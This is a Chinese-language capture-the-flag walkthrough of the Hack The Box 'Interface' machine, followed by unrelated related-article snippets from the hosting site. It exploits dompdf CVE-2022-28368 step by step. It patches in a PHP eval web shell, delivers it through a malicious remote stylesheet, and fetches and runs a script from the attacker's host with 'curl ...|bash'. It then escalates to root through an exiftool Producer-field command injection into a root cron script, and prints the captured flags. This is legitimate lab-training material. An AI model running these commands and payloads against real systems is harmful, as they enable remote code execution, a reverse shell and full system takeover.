hackthebox htb interface:CVE-2022-28368

news2024/11/17 15:31:32

本题考察:CVE-2022-28368

CVE-2022-28368 - 通过远程 CSS 字体缓存安装的 RCE

参考:

https://www.0le.cn/archives/58.htmlhackthebox-interface信息搜集nmap扫描端口发现开放的22和80PORT STATE SERVICE REASON22/tcp open ssh syn-ac...https://www.0le.cn/archives/58.html

dompdf-rce/exploit

cd /tmp;
git clone https://github.com/positive-security/dompdf-rce
cd dompdf-rce;
cd /tmp/dompdf-rce/exploit/;
cat  exploit.css
sed -i "s/localhost:9001/10.10.14.53/g"  exploit.css;
cp exploit_font.php exploit_font.php.bak;

sed -i "s|\(<?php phpinfo(); ?>\)|<?php eval(\$_POST[2]);|g" exploit_font.php; 
tail exploit_font.php;


cd /tmp/dompdf-rce/exploit/;
python -m http.server 80 & 

接下来发post包(win10 x64 cmd下):

注意^< 和 ^>做了转义

-x 是走BurpSuite的http8080代理,不需要走代理可以删除.

curl -v -x http://127.0.0.1:8080 -d  "{\"html\": \"title=^<link rel=stylesheet href='http://10.10.14.53/exploit.css'^>\"}"  "http://prd.m.rendering-api.interface.htb/api/html2pdf"

计算md5:

echo -n "http://10.10.14.53/exploit_font.php" | md5sum
ae6cfa0a356a3b98582afa39ee67bf43  -

最后反弹shell:

curl -v -x http://127.0.0.1:8080 -d "2=system('curl+10.10.14.53:30088/ccc.sh|bash');" http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_ae6cfa0a356a3b98582afa39ee67bf43.php

路径要注意:

/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_ae6cfa0a356a3b98582afa39ee67bf43.php

接下来提权:

bash-4.4$ grep bash /etc/passwd;
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:,,,:/home/dev:/bin/bash
bash-4.4$ 

上传pspy64工具到靶机,运行看一下进程。

发现了一个root权限运行的,访问用户的sh文件,很可疑

2023/05/20 10:41:25 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity 
2023/05/20 10:42:01 CMD: UID=0     PID=33487  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33486  | /bin/sh -c /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33485  | /usr/sbin/CRON -f 
2023/05/20 10:42:01 CMD: UID=0     PID=33490  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33489  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33488  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33491  | 
2023/05/20 10:42:01 CMD: UID=0     PID=33492  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33494  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33493  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/test_original 
2023/05/20 10:42:01 CMD: UID=0     PID=33497  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/20 10:42:01 CMD: UID=0     PID=33496  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/yyxx 
2023/05/20 10:42:01 CMD: UID=0     PID=33495  | /bin/bash /usr/local/sbin/cleancache.sh 

ls -al /usr/local/sbin/cleancache.sh ;

cat /usr/local/sbin/cleancache.sh ;

#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

cat <<EOF>/tmp/.xxyy.sh
#!/bin/bash
id>/tmp/.iidd123;
chattr +a /tmp/.iidd123;
chmod +s /bin/bash;
EOF

chmod +x /tmp/.xxyy.sh;
chattr +a /tmp/.xxyy.sh;

touch  /tmp/.yy22;

/usr/bin/exiftool -Producer='a[$(/tmp/.xxyy.sh>&2)]+42' /tmp/.yy22;

ln -s  /tmp/.yy22  /tmp/yy22;

# /usr/bin/exiftool -s -s -s -Producer /tmp/.yy22 

# /usr/bin/exiftool -s -s -s -Producer /tmp/.yy22 2>/dev/null | cut -d " " -f1
<pdf:Producer>x[$(touch /tmp/0xdf)]</pdf:Producer>



bash-4.4$ /usr/bin/exiftool -s -s -s -Producer /tmp/test_original 
x[$(touch /tmp/0xdf)]
bash-4.4$ 

实际上是if里触发执行的,测试命令如下:

meta_producer=$(echo "a[\$(/tmp/.xxyy.sh>&2)]+4");
echo "$meta_producer";

if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing 123123"
fi

最后bash -p:

bash-4.4# cat /root/root.txt 
02246920fd2785965ecf72ecaa22d8f3
bash-4.4# 
bash-4.4# cat /home/dev/user.txt 
f8e3acc434850f1527f6860f4b1222eb
bash-4.4# 

事后:

# id
uid=0(root) gid=0(root) groups=0(root)
# crontab  -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/2 * * * * /usr/local/sbin/cleancache.sh
*/5 * * * * /root/clean.sh
# 


# bash
root@interface:/tmp# cat /root/clean.sh 
#! /bin/bash
find /var/www/api/vendor/dompdf/dompdf/lib/fonts/ -type f -cmin -5 -exec rm {} \;
cp /root/font_cache/dompdf_font_family_cache.php.bak /root/font_cache/dompdf_font_family_cache.php
chown www-data /root/font_cache/dompdf_font_family_cache.php
chgrp www-data /root/font_cache/dompdf_font_family_cache.php
mv /root/font_cache/dompdf_font_family_cache.php /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
root@interface:/tmp# 



root@interface:/tmp# uname -a
Linux interface 4.15.0-202-generic #213-Ubuntu SMP Thu Jan 5 19:19:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
root@interface:/tmp# cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
root@interface:/tmp# free -h
              total        used        free      shared  buff/cache   available
Mem:           1.9G        233M        690M         14M        1.0G        1.5G
Swap:          1.0G          0B        1.0G
root@interface:/tmp# 


root@interface:/var/www/html# cat /var/www/api/vendor/dompdf/dompdf/VERSION;
1.2.0
root@interface:/var/www/html# 




bash-4.4$ cat /var/www/api/composer.json;
{
  "require": {
    "bramus/router": "~1.6",
    "dompdf/dompdf": "1.2.0"
  }
}

bash-4.4$ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/548587.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring 经典面试题总结

❤ 作者主页&#xff1a;欢迎来到我的技术博客&#x1f60e; ❀ 个人介绍&#xff1a;大家好&#xff0c;本人热衷于Java后端开发&#xff0c;欢迎来交流学习哦&#xff01;(&#xffe3;▽&#xffe3;)~* &#x1f34a; 如果文章对您有帮助&#xff0c;记得关注、点赞、收藏、…

learn_C_deep_12 (深度理解“取整“、“取余“、“取模“运算、掌握运算符优先级 )

目录 关于“取整” "取整"规则 1、向零取整 2、向-∞取整 3、向∞取整 4、四舍五入 关于"取模和取余" 运算符优先级 关于“取整” #include <stdio.h> int main() {//本质是向0取整int i -2.9;int j 2.9;printf("%d\n", i); /…

【C++】 排列与组合算法详解(进阶篇)

文章目录 写在前面算法1&#xff1a;朴素算法思路缺点 算法2&#xff1a;递推预处理思路时间复杂度&#xff1a; O ( n 2 ) O(n^2) O(n2) 算法3&#xff1a;阶乘逆元思路时间复杂度&#xff1a; O ( n log ⁡ n ) O(n \log n) O(nlogn)思考&#xff1a;读者也可以尝试写 O ( n…

PySide6/PyQT多线程之 多线程 与 线程池的模板(拿来即用)

前言 关于PySide6/PyQT多线程系列的最后一篇。写这篇文章的动机是方便后续代码的直接复用。 本篇文章实际是水文&#xff0c;给出了 PySide6/PyQT的多线程以及线程池的基础使用模板&#xff0c;方便后面有需要时候直接拿来就用。 多线程 这里分两种情况来谈论&#xff0c;有返…

[Hadoop]MapReduce与YARN

目录 大数据导论与Linux基础 Apache Hadoop、HDFS MapReduce MapReduce思想 MapReduce设计构思 MapReduce介绍 MapReduce官方实例 Map阶段执行流程 Reduce阶段执行流程 shuffle机制 YARN YARN介绍 YARN架构、组件 程序提交YARN交互流程 YARN资源调度器Scheduler…

IOS新建应用

一&#xff1a;Application App。普通app。Document App。打开是记事本类似App。Game。新建游戏相关app。RealityKit为新建一个打开摄像机&#xff0c;一个Ar立方体的应用。 SenceKit为有一架飞机旋转的游戏App。 SpirteKit为一个手指头按上会出一个手指特效的应用。 Metal为一…

【IDEA使用指南】使用Hibernate框架的Java项目,如何通过数据库表自动生成实体模型?

文章目录 【IDEA使用指南】使用Hibernate框架的Java项目,如何通过数据库表自动生成实体模型?步骤1:找到并打开“Persistence”工具栏。步骤2:找到并打开“Import Database Schema” 窗口。步骤3:配置数据源信息步骤4:查看自动生成的实体模型。【IDEA使用指南】使用Hibern…

如何在IDEA中显示时序图

如何在IDEA中显示时序图 有时候&#xff0c;我们想要了解代码的运行过程的时候&#xff0c;想要看到方法的调用流程。 这个时候就希望有一个时序图可以看&#xff0c;但是人工来画时序图太麻烦了&#xff0c;有没有办法在IDEA中直接生成呢&#xff1f; 当然是可以的。 这里…

Access denied for user ‘root‘@‘localhost‘ (using password:YES) 解决方案

文章目录 问题描述解决方案&#xff1a; 问题描述 Access denied for user ‘root’‘localhost’:拒绝用户’root’localhost’的访问。 出现这个报错语句的一般原因是输入了错误的密码&#xff0c;也有可能是是root帐户默认不开放远程访问权限。 相关的解决方法是重新设置…

【Linux】sysfs文件系统

【Linux】sysfs文件系统 前言 一、sysfs文件系统 1.1 sysfs系统是什么 1.2 sysfs的运行机制原理 二、sysfs中重要的结构体 2.1 kobject和kset之间的关系 2.2 kobject结构体 2.3 kset结构体 前言 重要的环节&#xff1a;带着问题不断前进 sysfs文件系统是什么sysf文件系…

YOLOv5 实例分割入门

介绍 YOLOv5 目标检测模型以其出色的性能和优化的推理速度而闻名。因此,YOLOv5 实例分割模型已成为实时实例分割中最快、最准确的模型之一。 在这篇文章中,我们将回答以下关于 YOLOv5 实例分割的问题: YOLOv5检测模型做了哪些改动,得到了YOLOv5实例分割架构?使用的 Prot…

RTC实时时钟源码分析

1.先来看一下RTC的配置过程 2.RTC源码讲解 我们的工程中加入了 rtc.c 源文件和 rtc.h头文件&#xff0c;同时&#xff0c;引入了 stm32f10x_rtc.c 和 stm32f10x_bkp.c 库文件。 说明&#xff0c;首先是 RTC_Init&#xff0c;其代码如下&#xff1a; //实时时钟配置 //初始化…

UI自动化测试遇弹窗怎么办?这个解决方法你get到了没?

目录 引言 弹窗的种类: APP内的业务弹窗 弹窗处理 watcher的使用 实战案例 软件测试技术的准备和建议 一、测试基础 二、Linux必备知识 三、Shell脚本 四、互联网程序原理 五、MySQL数据库 六、抓包工具 七、接口测试工具 八、Web自动化测试Java&Python 九…

关于C语言的杂记5

文章目录 引入正文内部函数与外部函数相关数组的知识点数组的初始化测试一维数组在内存中存储的地址&#xff1a;遍历二维数组的值测试二维数组的地址(观察内存情况)数组下标为0开始的由来 两个数交换位置的三种方法 引入 写在前面&#xff1a;关于C语言这部分内容&#xff0c;…

msys2 pacman 安装 ncurses-devel 解决 make menuconfig 问题

问题描述 windows 下使用 msys2 环境&#xff0c;可以开发编译一些 Linux 下的软件包&#xff0c;一般Linux 下的软件包&#xff0c;需要安装 PC 平台的gcc、gcc交叉编译工具链&#xff0c;如 arm的&#xff0c;以及一些常用的 软件包&#xff0c;如 python 等 有一个软件包&a…

【工具】Ubuntu 非root用户 安装openssl

文章目录 openssl 下载 & 解压指定安装路径编译安装配置环境变量验证是否安装成功 openssl 下载 & 解压 openssl 下载地址 或者 https://www.openssl.org/source/openssl-1.1.1l.tar.gz 上传到服务器 解压 tar -zxvf openssl-1.1.1l.tar.gz切换到openssl-1.1.1l目…

maven-resources-plugin详解

目录 一、什么场景会用到&#xff1f;二、他有什么作用&#xff1f;三、插件常用配置1、字符集编码2、resources相关的配置2.1、resources配置结构2.2、resources默认配置2.2.1、maven超级pom默认配置2.2.2、spring-boot对resources插件的默认配置2.2.3、resources最终生效的配…

2023年最新VMware 17+虚拟机详细配置安装【程序员使用指南】!!

文章目录 Vmware版本选择17Pro安装自定义安装填写对应的许可证正式安装虚拟机进行对应的配置配置镜像文件选择对应的语言&#xff1a;到这个界面&#xff0c;选择中文 安装结束连接对应的xshell Vmware版本选择17Pro安装 ● 最开始从这里出发 自定义安装 ● 记得自定义在自…

TikTok选品,什么产品在TikTok最受欢迎?

TikTok是当下的海外社交媒体推广新风口已经有目共睹&#xff0c;与此同时跨境商家们或许都面临着同样的问题&#xff0c;就是TikTok要怎么选品&#xff0c;什么产品才会比较受欢迎。俗话说&#xff1a;七分靠选品&#xff0c;三分靠运营。选品选对了&#xff0c;运营也就事半功…

chatgpt赋能Python-python3_decode函数

Python3 decode函数 - 解码你的数据 编程领域中&#xff0c;字符串是一个不可避免的概念&#xff0c;他们构成了我们生活中逻辑化和技术实现化的重要组成部分。不仅如此&#xff0c;字符串的加载和使用也对程序的性能产生了重大的影响。在这篇文章中&#xff0c;我们将重点讨论…